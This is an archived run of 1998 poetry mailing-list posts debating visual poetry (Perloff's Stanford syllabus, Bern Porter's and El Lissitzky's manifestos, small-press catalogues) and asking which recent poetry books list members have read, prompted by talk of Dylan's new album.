jwcurry's Curvd H$Z is the central press for Canadian visual poetry. His magazine Industrial Sabotage has long been a leader in the field. There's much else. Miekal And and Liz Was's Xexoxial Press, for instance, and my own Runaway Spoon Press, have for ten years or more been publishing visual poetry.

Anything else you wanna know, just ask.

--Bob G.

↑ Index

311. Robert Archambeau
Re: Whose Visual Poetics?
Tue 13 Jan 1998

I'd love to hear more about the American visual poets Miekel And mentioned, but I'd also like to mention a book that I first heard about over this list and that introduced me to a number of visual poets from around the world, and that placed them in historical context -- a collection of essays edited by Johanna Drucker called _Experimental, Visual, Concrete_ (Amsterdam: Rodopi, 1996 or 1997). Both Perloff and Bernstein have pieces in the book, but it is very diverse and international and in no way treats visual poetry as a sideline of the language poets.

The publisher has a web site at:

www.rodopi.nl/home.htm

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

"There is no remedy for this "packaging" which has supplanted the old sensations"
-John Ashbery

↑ Index

312. Miekal And
Whose Visual Poetics? Bern Porter's in 1959
Tue 13 Jan 1998

---

it is the unacknowledged paperwork of the 20th century which for me informs much of the unclassifyable realms of experimentations with the voice & the page, of which the words "visual poetry" is one tagword that can be used to contain the works of zaum, lettrism, dada, gutai, concrete, fluxus, futurism, mailart, etcism & especially the o so important people whose work has always defied classification & thus gets forgotten time after time. which hotlinks me to Bern Porter's 1959 manifesto I've Left, a wakeup call to the artworld to enter &

become the information age, very much like Vannevar Bush's visualization of the once & future internet "As we may think" is a call to information linear civilization to start defending itselves with neural networks.

excerpted from I've Left:

"I am proposing something to help get out of the stagnation, instead of continuing to bewail it, and the boredom, inertia and stupidity of everything." Antonin Artaud

"Everything touched by and serving living beings must either be adapted to the fact that the user's life is organic or must corrupt the user by withdrawing his attention from this fact." Edward Hyams

I finger zero, readjust my couch in a void that sloth built, the better to do nothing.

Through inaction I act and out of negation I fabricate the debris whose weight litters the plains with the broken backs of cranes & stevedores.

The result is the same as if I did nothing: which I do daily.

Obsolenscence revolts me. The alleged modern is a repetition of the ancient decorated in chrome, styled with air-flow and color-engineered to abomination. Tradition-bound, without sense or reason and always beyond complete control, truth & simplicity, the popularly accepted give wide berth to basic naturalness and inherent possibility.

Thus, communication-wise I junk drum beats, smoke signals, semaphore, flag codes, light flashes, telegraphs, telephones, radios, television sets and all other such systems, devices and developments for my own sensory organs wherein desiring to make known my wishes I merely think them in a frequency universal and in a tongue world known and whoever wishes to hear, receive and understand does so.

The spoken, printed and tele-dramatized word becomes a particle of thought energy.

The drawn, photographed, painted and kinescope-picture becomes more of the same.

All of the devices of locomotion, subterranean, surface and aerial equally reduce.

I am at all places, in all forms, at all times.

What were books became word sequences screen projected, then free-floating vibrations which impinged upon my mind as I desired them.

What was art left museum walls to become gaseous fusions in color similarly projected, then all prevailing rhythms of radiant energy that stimulated my eye whenever I wished them.

What was poetry became equally transformed to responses for feeling.

Architecture became constructions of ether & light.

Clothing a logical extension of skin without embellishment.

Theatre a pageant of masked spectators.

Automobiles, body rockets.

Toys, fondling in the dark.

No civilized thing was left unmodified or unreverted to its natural, logical and true state.

I transformed the world and in so doing I found myself.

1959, Tasmania

transcribed from Bern Porter's I've Left; a manifesto and a testament of science & art, published by Something Else Press, 1971.

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

spidertangle wordround / online hyperwriting workshop
http://net22.com/qazingulaza/wordround/index.html

↑ Index

313. Miekal And
Whose Visual Poetics? El Lissitzky's in 1923
Tue 13 Jan 1998

is a hypertext visual poetry? is a poet performing the print of a cross-section of a cabbage visual poetry? is an envelope circulated from person to person & country to country visual poetry? are font dingbats visual poetry? the convergence of hypermedia in the 20th century is technological & inextricably organic & moving at biologically recursive speeds toward a global mimesis of international sightsound. but then these thoughts are by no means new, just as functionality in advertising has always been good business.

overheard from el lissitzky in 1923

1) Printed words are seen and not heard.

2) Thoughts are communicated by the appropriate words and formed letters of the alphabet.

3) Thoughts should be expressed with maximum economy, optically and phonetically.

4) A composition of text on a page is governed by the laws of typographical mechanics-it should reflect the flow and rhthm of the contents.

5) Illustrative material should be used to organize a page in accordance with the new visual period.

6) A sequence of pages, the cineamatographic book.

7) A new book requires new means of writing, the ink well and quill are a thing of the past.

8) A printed book has conquered time and space. Printed pages and the infinity of books must be conquered. Electro Library.

from Merz No 4

QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

JOGLARS Crossmedia Broadcast
http://net22.com/qazingulaza/joglars/index.html

↑ Index

314. Lawrence Upton.

Re: your move

Tue 13 Jan 1998

He became partially-trapped in a chrono-synclastic infundibulum and is even now singing oh i wish it could be xmas every day somewhere in a video lapland

L
-----Original Message-----
From: louis stroffolino <[redacted]>
To: [redacted] <[redacted]>
Date: 12 January 1998 19:15
Subject: Re: your move

|Well--maybe only a brit can answer this question, but what ever happened |to roy wood...i had a dream that i met him at a party last night and that |i was going to interview him. he was so huge in england 67-73 with the |move, wizard and as solo artist, but in america may be known only as |the man who discovered jeff lynn or who wrote that song cheap trick |covered.....chris |

↑ Index

315. Lawrence Upton.
Re: Whose Visual Poetics?
Tue 13 Jan 1998

From: William Marsh <[redacted]>
To: [redacted] <[redacted]>
Date: 13 January 1998 02:21
Subject: Re: Whose Visual Poetics?

I am sure they can give you such references but I cannot resist an advert here - Bob Cobbing who has been visualling more years than etc and I with a somewhat shorter track record - are working on a book on vispo and their performance with lotsa examples which will be out from Writers Forum in London in the mid year

Quite a few from N America in it so one way or the other, probably the other, it'll reach N America - shall post details when available

L

↑ Index

316. Miekal And
tight shoes & reckoning with the unknowable
Tue 13 Jan 1998

"I think the narrowness shoe
here is on the other foot."

dear marjorie

the alto of your posts seems defensive & confronted & methinks that you are misreading my intentions, as my stance from the beginning of publishing my work & the work of others has always been one of inclusion, the known & the celebrated next to the neverknown. even tho your roster of visual poets seems to need a shoehorn to fit into the international visual poetry movement & "seems" to be largely a language reading list, I am more concerned about rationalizing your choices because of financial limitations. I mean really, most of the 100s of visual poets whose work is important in this discussion would present their work gratefully for the cost of a bus ticket & a hot meal. or closer to home, how many visual poets within shouting distance of stanford were invited to present their works....

as for course syllabi, my contention is that the visual poetry world is specifically international & infested with sacred clowns & dada savants whose work will

never fall into a convenient catagory, because their work experiments with all edges of hypermedia, & what is a more appropriate reading than a survey of movements is a hyperlinked time machine that has a holographic & inclusive meme as its operating engine, kind of like reading all 30,000 volumes of the Sackner visual/verbal archive simultaneously.

so if we're in the business of trying on shoes, I highly recommend those shiny new ambidextrous stretch shoes over there in the corner. one size fits all & Im sure there can be no complaints.

in the spirit of networking & open dialogue

miekal "one size fits all" and

_____
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza/index.html

Zaum in the Age of Electronic Huts
http://net22.com/qazingulaza/zaum.html

↑ Index

317. **Hank Lazer**
Re: tom mandel cheering section
Tue 13 Jan 1998

David,

I suspect that Tom may be doing it with cavity backs or with blades, but that's his own business.... (I use blades.)

Hank

↑ Index

318. **dw**
O.ARS & Visual Poetry
Tue 13 Jan 1998

This is a multi-part message in MIME format.

As there have been several recent postings to the list concering visual poetry, let me direct your attention to the O.ARS home page where you will find information concerning the back list and something of a fire sale. From 1982 thru 1994 O.ARS produced anthologies of poetry, visual poetry, and other forms of experiemental writing, including works by many authors familiar to this list. In particular O.ARS attempted to embrace the diverse range of visual poetries that have recently been under discussion here.

Anyone citing this posting will receive an additional 20% discount on the offers made there.

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Since its inception in 1981, O.ARS has been mindful of the limitations of closed systems of representation with their corresponding domains of the other. The watch word has been, following Charles Olson, to push outward, beyond the mesmerizing seas of Modernism and into a present where mirrors no longer divert the body by splitting perception into self and other, lack and perfection.

<P>The oarsman pulls away from the shore, eyes on the past as it recedes. Hence one suggestion in the name O.ARS. The period, Oh Art, a dada-esque pun. Destruction, whether of mirror, syntax, or word: TOWARD A NEW

POETIC, a way of making, a way of making a way, not absolute freedom. The oar is a winnowing fan as well as a blade cutting the current. Each issue of O.ARS presents a selection of poetry, visual poetry, experimental prose, essays, and reviews by writers for whom meaning and language are one.

<P><B>O.ARS 9: Frames, Fields, Meanings (1994)   </B>$6.00 ISBN 0 942030 10 9
<FONT SIZE=-1>Contributors: Ray DiPalma, Saul Yurkievich, Rafael Alberti, Bruce Andrews, Mary Rising Higgins, Todd Baron, Bruce Campbell, Andrew Levy, Andrea Kunard, Shiela Murphy, Charles Bernstein, Syeohen Ratcliffe, John Perlman.</FONT>

<P><B>O.ARS 8: Censorship and the Situation of Poetry (1991). </B>$6.00 ISBN 0 942030 09 5
<FONT SIZE=-1>Contributors: Juan Cameron (Special section), Ron Silliman, Susan Roberts, Eric Wirth, Colleen Lookingbill, Ray DiPalma, Spencer Selby, Dennis Barone, James Sherry, Edith Turner, James Gray, Karl Young.</FONT>

<P><B>O.ARS 6/7: Voicing (1990).   </B>$10.00 ISBN 0 942030 08 7
<FONT SIZE=-1>Contributors: Joel Oppenheimer, Julio Cortázar, David Bromige, Larry Price, C.D. Wright, Jed Rasula, John Taggart, Ulli Freer, Alan Halsey, Thomas Meyer, William Fuller, Octavio Armand, Bruce Andrews, Stephen Ratcliffe, Margaret Randall, Sheila Murphy, Stephen-Paul Martin, Charley Shively, Steve McCaffery, Jean Day, Alicia Borinsky and others.</FONT>

<P><B>O.ARS 3, 4, 5: Translations: Experiments in Reading   </B>$12.00 ISBN 0 942030 03 6
Originally published in three fascicles A, B, C (1983, 1983, 1986).
From the introduction: "Translation then is a reading which writes the text again in a new language. It has always been an experiment in reading. And conversely writing has always been a reading of instances of perception."

<P><FONT SIZE=-1>Contributors: Saúl Yurkievich (tr Cola Franzen), Henri Michaux (tr Charles Simic, et al), Alain Veinstein (tr Todd Kabza and Maria Saiz), Aimé Cesaire (tr Clayton Eshleman), Joseph Guglielmi (tr Christopher Duncan), Kenzaburo Öe (tr Michiko Wilson), Friedrich Hölderlin (tr Richard Sieburth), Octavio Armand (tr Carol Maier), Tristan Tzara (tr Jerome Rothenberg), Helmut Heissenbüttel (tr Rosmarie Waldrop). Also Lori Chamberlain, Klaus Peter Dencker, Carlfriedrich Claus, Stephen Fredman, Bob Perelman, Marjorie Agosin, Juan Cameron, J.T. Barbarese, Charles Doria, Barbara Einzig, Normandi Ellis, Fanny Howe, Paul Kahn, John Perlman, Mweya Tol’ande, Karl Young, Fred Truck. Luciano Ori, Paul Zelevansky, Julien Blaine, Earl Jackson, Jr, Bruce Andrews, Sally Silvers, Jean-Paul Curtay, Henry Hills, Jackson Mac Low, and others.</FONT>

 <HR WIDTH="100%">
<B><FONT COLOR="#990000"><FONT

SIZE=+2>Coherence and Perception:</FONT></FONT></B>
<FONT COLOR="#990000">Experiments in writing and investigations bearing on postmodern poetics.</FONT>
  <HR WIDTH="100%">

<P><B>O.ARS 1: Coherence (1981). </B> $10.00 ISBN 0 942030 00 1
From the introduction: "PERCEPTION/COHERENCE. A mirror: the slash or virgule indicates a quantity divided by a quantity...The slash indicates the value of discontinuity. It divides as it joins."

<P><FONT SIZE=-1>Contributors: Andrei Codrescu, Theodore Enslin, Paul Metcalf, Gilbert Sorrentino, Michael Andre, Richard Lyons, Joe Smith, Harold Jaffe, George Chambers, Richard Kostelanetz, karl kemption, Bern Porter, Mark Melnicove, Stephen Knauth, Robert CReeley, Edmond Jabés, Jerome Rothenberg, Rosmarie Waldrop, Ron Silliman, Raymond Federman, David Antin, Barbara Einzig and others.</FONT>

<P><B>O.ARS 2: Perception (1982).</B> $10.00 ISBN 0 942030 02
From the introduction: "writing which is thinking/seeing/hearing...Images, like ghosts, must be seen to be apprehended. They cannot be decomposed--when analyzed, both chicken and egg disappear."

<P><FONT SIZE=-1>Contributors: Nathaniel Tarn, Lyn Hejinian, Charles Bernstein, Rae Armentrout, Cid Corman, Sherman Paul, Vincente Huidobro (tr Cola Franzen), Douglas Messerli, Fanny Howe, Christopher Middleton, Michel DeGuy, Ron Vance, Don Byrd, John Wellman, Alain-Arias Misson, Gil Ott, Craig Watson and others. </FONT>
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<P><FONT SIZE=+2><FONT COLOR="#330033">E-mail orders for </FONT><FONT COLOR="#FF0000">O.ARS
</FONT><FONT COLOR="#330033">Publications to:</FONT></FONT>

<A HREF="mailto: Don Wellman<[redacted]>">Don Wellman
<[redacted]></A>

<HR WIDTH="100%">

<A HREF="#top">Back to top</A>

<A HREF="don.htm">Back to <B>Don Wellman </B>Home Page at Daniel Webster
College</A>

</BODY>
</HTML>
<HR WIDTH="100%">

<I>Last updated on January 13, 1998 by <A HREF="mailto:[redacted]">web-master</A></I> ----------CFC05809E7F57E7E296C363D--

↑ Index

319. **Robert Hale**
Re: Dylan
Tue 13 Jan 1998

Did anyone else besides me read Barrett Watten's FRAME? What about Susan Howe's book?

At 11:18 AM 1/13/98 -0800, you wrote:
> Isn't it curious that we have extended discussions of
>Dylan's album, but rarely, if ever, a comparable discussion of a new book of
>poetry. I wonder if there is a book of poetry, published in the last year,
>that five people on the list have read.
>
> Dylan is a serious artist, but there are others; some, I
>would venture to say, more crucial than Dylan.
>
> Does it takes the commercial clout of Columbia Records (and
>Sony Music Entertainment, Inc.) to get us a-buzz about a serious artist?
>
> db
>
>
>
>
>**********
> Don Byrd ([redacted], [redacted])
> Department of English
> State University of New York
> Albany, NY 12222
> [redacted] (work); [redacted] (home); [redacted] (fax)

> The Little Magazine (http://www.albany.edu/~litmag/)
>**********
>
>

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320. **Safdie Joseph**
Re: Dylan
Tue 13 Jan 1998

Don Byrd wrote:

> Isn't it curious that we have extended discussions of
> Dylan's album, but rarely, if ever, a comparable discussion of a new
> book of
> poetry. I wonder if there is a book of poetry, published in the last
> year,
> that five people on the list have read.
>
As one who innocently started the Dylan thread by asking if the album was worth picking up, I wonder about Don's "challenge"' -- what might be the nominees for said book of poems? _Imagination Verses_ by Jennifer Moxley attracted a bit of response not too far back; a reading group in Seattle recently was pretty high on Tom Raworth's new _Selected_; I liked Anselm's _Ahoe_ quite a bit . . .

> Dylan is a serious artist, but there are others; some,
> I
> would venture to say, more crucial than Dylan.
>
But few as accessible.

> Does it takes the commercial clout of Columbia Records
> (and
> Sony Music Entertainment, Inc.) to get us a-buzz about a serious
> artist?
>
Hopefully not on this list, but let's face it . . . "no one listens to poetry"

↑ Index

321. William Marsh
Re: Dylan
Tue 13 Jan 1998

At 11:18 AM 1/13/98 -0800, don byrd wrote:
> Isn't it curious that we have extended discussions of
>Dylan's album, but rarely, if ever, a comparable discussion of a new book of
>poetry. I wonder if there is a book of poetry, published in the last year,
>that five people on the list have read.

looking for matches / books read recently published in 97:

Heather Fuller, *perhaps this is a rescue fantasy* (neat book btw) Schultz and Kinsella, *voice-overs*

on the shelf waiting:
Wallace, *Nothing Happened and Besides I Wasn't There*
Nielsen, *Stepping Razor*

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

322. Eryque Gleason
Re: Whose Visual Poetics?
Tue 13 Jan 1998

---

thanks to whoever it was that posted the url for Light & Dust. By a random click i found the work of Avelino de Araujo, much of which is really quite beautiful. The direct link to his section is http://www.thing.net/~grist/l&d/araujo.htm

Some of it's a little quirky and looks like advertisement-style art, but all of it's interesting.

eryque

↑ Index

323. Marjorie Perloff
Re: Whose Visual Poetics? Bern Porter's in 1959
Tue 13 Jan 1998

For Miekal and others:

The syllabus for Visual Poetics has on it precisely fluxus, zaum, and later movements that interest you. Tom Phillips, Ian Hamilton Finlay, Darren Werschler-Henry, etc. The poets giving readings are poets IN THE AREA FOR OTHER READINGS whom I can get for relatively small amount. I can't get Tom Phillips or Ian Hamilton Finlay or even a Canadian poet like Darren because costs of flights. So it's a compromise and I stand by each and every poet coming as being visually interesting!

Before you jump to such conclusions, perhaps you could think about these logistics and not be so dismissive!

Marjorie Perloff

↑ Index

324. Aldon Nielsen
Re: And Lady Mondegreen
Tue 13 Jan 1998

At 04:01 PM 1/10/98 +0900, you wrote:
>freedom's just another word for nothing left to do
>freedom's just another word for nothing left to lose
>freedom's just another word for nothing left to choose
>

freedom's just another word for noone left to screw

↑ Index

325. Mark Weiss
Re: Dylan
Tue 13 Jan 1998

Rochelle Owens' _New and Selected Poems, 1961-1996_, which I know for a fact that more than five people on the list have read (hell, most of the blurbs are by listlings).

At 09:42 AM 1/13/98 -0800, you wrote:
>At 11:18 AM 1/13/98 -0800, don byrd wrote:
>> Isn't it curious that we have extended discussions of
>>Dylan's album, but rarely, if ever, a comparable discussion of a new book of
>>poetry. I wonder if there is a book of poetry, published in the last year,

>>that five people on the list have read.
>
>looking for matches / books read recently published in 97:
>
>Heather Fuller, *perhaps this is a rescue fantasy* (neat book btw)
>Schultz and Kinsella, *voice-overs*
>
>on the shelf waiting:
>Wallace, *Nothing Happened and Besides I Wasn't There*
>Nielsen, *Stepping Razor*
>
>- -
>William Marsh
>PaperBrainPress
>Voice & Range Community Arts
>National University
>[redacted]
>http://www.dtai.com/~bmarsh
>snail: 1860 PB Dr. #4
>San Diego, CA 92109
>- -
>
>

↑ Index

326. **pritchpa**
Re: Dylan
Tue 13 Jan 1998

Important recent books for me have been:

Stepping Razor - Aldon Nielsen
il cuore: the heart - Kathleen Fraser
Prosepct of Release - Tom Mandel

I'm intrigued by Brenda Hillman's _Loose Sugar_, and would be interested in others' response to this work. I've only had it a couple of days, but so far am struck by the way she has opened up her work to more experimental techniques while retaining a backbone of more traditional narrative. I find the way she's gone at this more appealing - and far less pretentious - than the way Jorie Graham has.

Patrick Pritchett

From: Don Byrd
To: [redacted]
Subject: Dylan
Date: Tuesday, January 13, 1998 1:18PM

Isn't it curious that we have extended discussions of Dylan's album, but rarely, if ever, a comparable discussion of a new book of
poetry. I wonder if there is a book of poetry, published in the last year,
that five people on the list have read.

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327. **Don Byrd**
Dylan
Tue 13 Jan 1998

Isn't it curious that we have extended discussions of Dylan's album, but rarely, if ever, a comparable discussion of a new book of poetry. I wonder if there is a book of poetry, published in the last year, that five people on the list have read.

Dylan is a serious artist, but there are others; some, I would venture to say, more crucial than Dylan.

Does it takes the commercial clout of Columbia Records (and Sony Music Entertainment, Inc.) to get us a-buzz about a serious artist?

db

****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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328. **David Zauhar**
Re: Dylan
Tue 13 Jan 1998

On Tue, 13 Jan 1998, Safdie Joseph wrote:

> *Don Byrd wrote:*
>
> *Does it takes the commercial clout of Columbia Records (and*
> *Sony Music Entertainment, Inc.) to get us a-buzz about a serious artist?*
>
> *Hopefully not on this list, but let's face it . . . "no one listens to poetry"*

. . . No
One listens to poetry

--Jack Spicer

David Zauhar

↑ Index

329. **Miekal And**
Re: Whose Visual Poetics? Bern Porter's in 1959
Tue 13 Jan 1998

Maria Damon wrote:
>
> thanks for those gems miekal; is the book still in print, and if not (as
> i'd guess), wd xexoxial consider a reprint? your pal, md

as far as I know it is out of print, & Bern is getting up there in years, so it is a possibility, as well there is a talk about doing Bern's book about Abraham Lincoln Gillespie, who he considers one of the most overlooked experimental writers of this century (& I think Bern is one of the most overlooked (& maybe someday someone will decide that I in turn am one of the most....

& Hold onto Your Hat, a book of interviews with Bern which should have been out 6 months ago will hopefully be out by spring....

↑ Index

330. **acgold01**
Panel chairs for 20C. Lit. Conference
Tue 13 Jan 1998

I'm looking for chairs (as in panel leaders / introducers, not seating arrangements) for various poetry and poetics sessions at the upcoming 20th.-Century Literature Conference here Feb. 26-28. Featured speakers and readers this year include Eavan Boland, Cary Nelson, Harryette Mullen, and Mark Pollizotti (Breton biographer). Chairs pay a reduced rate for the conference. Backchannel please if you're interested.

Thanks,

Alan

↑ Index

331. **r.drake**
Re: Whose Visual Poetics?
Tue 13 Jan 1998

---

folks--

for those wanting a more informed view of Dr. Perloff's syllabus, i copy below (w/out permission, but publically available at http://www-leland.stanford.edu/dept/english/courses/courses_main.htm) the reading list for th course...

Required:

Solt, Mary Ellen, CONCRETE POETRY: A WORLD VIEW (Indiana, 1969, ISBN 0253113008). Out of print but Mary Ellen Solt will make 15 copies available to us.

Herbert, George. THE ENGLISH POEMS OF GEORGE HERBERT (Everyman's Classic Library, paper, 1991). $5.56

Pound, Ezra, SELECTED CANTOS (New York: W.W. Norton, 1988; ISBN 0811201600). $6.36

Apollinaire, Guillaume, CALLIGRAMMES, trans. Anne Greet (California, 1991; ISBN 0520073908). $15.96

Howe, Susan, FRAME STRUCTURES: EARLY POEMS 1974-79 (Norton, 1996, ISBN 0811213226) $10.36

Mac Low, Jackson, REPRESENTATIVE WORKS: 1938-85 (New York: Roof Books; ISBN 0937804185) $18.95

O'Sullivan, Maggie. OUT OF EVERYWHERE (San Francisco: SPD [Small Press Distribution] 1996, ISBN 1874400083) $15

Wershler-Henry, Darren, NICHOLODEON: A BOOK OF LOWERGLYPHS (Toronto: Coach House Press, 1997; ISBN 1552450007) C. $5- AUTHOR WILL PROVIDE THE BOOKS

Phillips, Tom, A HUMUMENT: A TREATED VICTORIAN NOVEL (London: Thames and Hudson, 1996.) ISBN 0500974551, $19.96

Recommended:

Bernstein, Charles, REPUBLICS OF REALITY: 1975-95 (Sun & Moon, 1997). ISBN 1557133042. $11.96.

Bok, Christian, CRYSTALLOGRAPHY, Coach House, 1994, ISBN 0889104964 $12.50

Cage, John, EMPTY WORDS (Wesleyan, 1981, ISBN 0819560677) $15.95

Drucker, Johanna, THE HISTORY OF THE/MY WORLD (New York: Granary Books, 1996, ISBN 1887123067) $35

Fraser, Kathleen, IL CUORE--THE HEART (Wesleyan, 1997, ISBN 0819522457) $16.95

Raworth, Tom, TOTTERING STATE: SELECTED AND NEW POEMS 1963-83 (The Figures, 1984; available from SPD, ISBN 0935742192) $14.50

MacCormack, Karen, THE TONGUE MOVES TALK (Chax Press, 1997, ISBN 0925904120) $9.60

Retallack, AFTERRIMAGES (Wesleyan, 1997, ISBN 0819512230) $10.36

Swensen, Cole, NOON (Sun & Moon, 1997, ISBN 1557132879) $8.76

Ward, Diane, EXHIBITION (Potes & Poets, 1995, ISBN 9998069158) $18

Bohn, Willard, THE AESTHETICS OF VISUAL POETRY (Chicago, 1997, ISBN 1887123016) $14.95

Drucker, Johanna, THE CENTURY OF ARTIST'S BOOKS (Granary ,1997, ISBN 1887123016) $19.96

Drucker, THE VISIBLE WORD: EXPERIMENTAL TYPOGRAPHY AND MODERN ART 1909-23 (Chicago, 1996, ISBN 0226165027) $15.95

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332. Henry Gould
dylan or
Tue 13 Jan 1998

"No one listens to poetry", unless it's backed up by guitar drums & bass, & we can't come up with a "serious artist" in poetry per se to compare with Dylan (in ability to generate talk-interest) ??

Could this have something to do with the fact that the instruments of poetry are deceptively simple, & it's hard to wade through all the talk, the talk-about, the ego-stroking scribble, the straining for effect, for grants, for whatever ??

Poetry, po-hoetry, puho-ho-hoetry!! skeesh...

Is there a fine-spun trout net, a very fine-spun prosodic trout net somewhere, that weeds out all the dross & leaves something [genuine] ?? An ear. [?] The never-published neverland of neverfaked no strains... must come from a mighty

power strained through either a mighty big or mighty narrow needle. soul power. Motown.

- Henry Gould

↑ Index

333. Eryque Gleason
leaving off the g
Tue 13 Jan 1998

---

i'm at work without the reference i need, hopefully one of you will be able to answer this post before i send this document to the boss...

there's one particular poem in _spring and all_ that has the line "leaving off the g" or something very similar. would one of you quote the entire stanza for me?

trying to get some poetry in otherwise dry office documents....

thanks,
eryque

↑ Index

334. Mark Prejsnar
Re: Whose Visual Poetics?
Tue 13 Jan 1998

A little plug here...His work is also featured to fine effect in the the inaugural issue of the Atlanta poetry mag Syntactics.

Mark P.

On Tue, 13 Jan 1998, Eryque Gleason wrote:

> *thanks to whoever it was that posted the url for Light & Dust. By a random click i found the work of Avelino de Araujo, much of which is really quite beautiful. The direct link to his section is http://www.thing.net/~grist/l&d/araujo.htm*
>
> *Some of it's a little quirky and looks like advertisement-style art, but all of it's interesting.*
>
> *eryque*

↑ Index

335. **Don Byrd**
Re: Dylan
Tue 13 Jan 1998

David Zauhar wrote:

> *. . . No*
> *One listens to poetry*
>
> *--Jack Spicer*

Spicer also said, something like, "The Beatles destroyed poetry."

Don

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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336. **Maria Damon**
Re: Whose Visual Poetics? Bern Porter's in 1959
Tue 13 Jan 1998

---

thanks for those gems miekal; is the book still in print, and if not (as i'd guess), wd xexoxial consider a reprint? your pal, md

At 11:25 AM +0000 1/13/98, Miekal And wrote:
>it is the unacknowledged paperwork of the 20th century which for me
>informs much of the unclassifyable realms of experimentations with the
>voice & the page, of which the words "visual poetry" is one tagword that
>can be used to contain the works of zaum, lettrism, dada, gutai,
>concrete, fluxus, futurism, mailart, etcism & especially the o so
>important people whose work has always defied classification & thus gets
>forgotten time after time. which hotlinks me to Bern Porter's 1959
>manifesto I've Left, a wakeup call to the artworld to enter & become
>the information age, very much like Vannevar Bush's visualization of the

>once & future internet "As we may think" is a call to information linear
>civilization to start defending itselves with neural networks.
>
>
>excerpted from I've Left:
>
>
>"I am proposing something to help get out of the stagnation, instead of
>continuing to bewail it, and the boredom, inertia and stupidity of
>everything." Antonin Artaud
>
>"Everything touched by and serving living beings must either be adapted
>to the fact that the user's life is organic or must corrupt the user by
>withdrawing his attention from this fact." Edward Hyams
>
>I finger zero, readjust my couch in a void that sloth built, the better
>to do nothing.
>
>Through inaction I act and out of negation I fabricate the debris whose
>weight litters the plains with the broken backs of cranes & stevedores.
>
>The result is the same as if I did nothing: which I do daily.
>
>Obsolenscence revolts me. The alleged modern is a repetition of the
>ancient decorated in chrome, styled with air-flow and color-engineered
>to abomination. Tradition-bound, without sense or reason and always
>beyond complete control, truth & simplicity, the popularly accepted give
>wide berth to basic naturalness and inherent possibility.
>
>Thus, communication-wise I junk drum beats, smoke signals, semaphore,
>flag codes, light flashes, telegraphs, telephones, radios, television
>sets and all other such systems, devices and developments for my own
>sensory organs wherein desiring to make known my wishes I merely think
>them in a frequency universal and in a tongue world known and whoever
>wishes to hear, receive and understand does so.
>
>The spoken, printed and tele-dramatized word becomes a particle of
>thought energy.
>
>The drawn, photographed, painted and kinescope-picture becomes more of
>the same.
>

>All of the devices of locomotion, subterranean, surface and aerial
>equally reduce.
>
>I am at all places, in all forms, at all times.
>
>What were books became word sequences screen projected, then
>free-floating vibrations which impinged upon my mind as I desired them.
>
>What was art left museum walls to become gaseous fusions in color
>similarly projected, then all prevailing rhythms of radiant energy that
>stimulated my eye whenever I wished them.
>
>What was poetry became equally transformed to responses for feeling.
>
>Architecture became constructions of ether & light.
>
>Clothing a logical extension of skin without embellishment.
>
>Theatre a pageant of masked spectators.
>
>Automobiles, body rockets.
>
>Toys, fondling in the dark.
>
>No civilized thing was left unmodified or unreverted to its natural,
>logical and true state.
>
>I transformed the world and in so doing I found myself.
>
>
>1959, Tasmania
>
>transcribed from Bern Porter's I've Left; a manifesto and a testament of
>science & art, published by Something Else Press, 1971.
>
>_____
>
>QAZINGULAZA: And/Was/Wakest website:
>http://net22.com/qazingulaza/index.html
>
>spidertangle wordround / online hyperwriting workshop
>http://net22.com/qazingulaza/wordround/index.html

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337. **Maria Damon**

Re: Dylan

Tue 13 Jan 1998

---

i've "read around in" Frame, and have read one of susan howe's book, the singularities. i imagine there are more than 5 of us on this list of whom this could be said.

At 9:05 AM -0800 1/13/98, Robert Hale wrote:
>Did anyone else besides me read Barrett Watten's FRAME? What about Susan
>Howe's book?
>
>At 11:18 AM 1/13/98 -0800, you wrote:
>> Isn't it curious that we have extended discussions of
>>Dylan's album, but rarely, if ever, a comparable discussion of a new book of
>>poetry. I wonder if there is a book of poetry, published in the last year,
>>that five people on the list have read.
>>
>> Dylan is a serious artist, but there are others; some, I
>>would venture to say, more crucial than Dylan.
>>
>> Does it takes the commercial clout of Columbia Records (and
>>Sony Music Entertainment, Inc.) to get us a-buzz about a serious artist?
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>>**********
>> Don Byrd ([redacted], [redacted])
>> Department of English
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>> [redacted] (work); [redacted] (home); [redacted] (fax)
>> The Little Magazine (http://www.albany.edu/~litmag/)
>>**********
>>
>>

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338. Joshua N Schuster
Re: Dylan
Tue 13 Jan 1998

I've got Dylan on my mind as well, as pressing as any book of poems. I disagree with most of the elders on this list by saying I think the new Dylan album is terrible. The best parts of it sound unrehearsed like The Basement Tapes, but its obvious throughout the deal that the producers crafted and shined it up into a comeback album, in the same mode as hit-pumps Clapton and McCartney. I'd say the Christian stuff, when compared with the new album, is even more radical, if only because Dylan is still inventing himself, picking up influences and identities as he did in almost every early album. But as the "adult-contemporary" humor walks in, the social-lyricism is not really there, and nostalgia seems to be too motivated, rather than what's going on in the basement a few decades before, when Dylan's looking for a history of music from the porch rather than the stage, looking like Harry Mathews did. Where's that nostalgia for the future? What else can you show me?

-Joshua Schuster

and I'm not at all excited about Watten's FRAME but am looking much forward to BAD HISTORY

↑ Index

339. robert drake
Re: Whose Visual Poetics?
Tue 13 Jan 1998

& to continue--

re: a couple of requests fr futher resources:

Harrison, Bob & Nicholas Frank, eds: _Cortext: A Survey of Recent Visual Poetry_ (Milwaukee: Hermetic Gallery, 1995). Exhibit catalog includes intro/outro by Johanna Drucker & Karl Young; 64 pgs., $10.

Byrum, John & Crag Hill, eds: _Core: A Symposium on Contemporary Visual Poetry_ (Mentor OH/Mill Valley CA: Generator/Score, 1993). Responses to a questionnaire on practice answered by 62 visual poets. John was by last night to borrow my saddlestitch stapler (to put together the new issue of Generator)--he has abt 30 unbound copies of _Core_ left, at $15@... Both *Generator* and *Score* magazines continue to publish & focus on visual poetries.

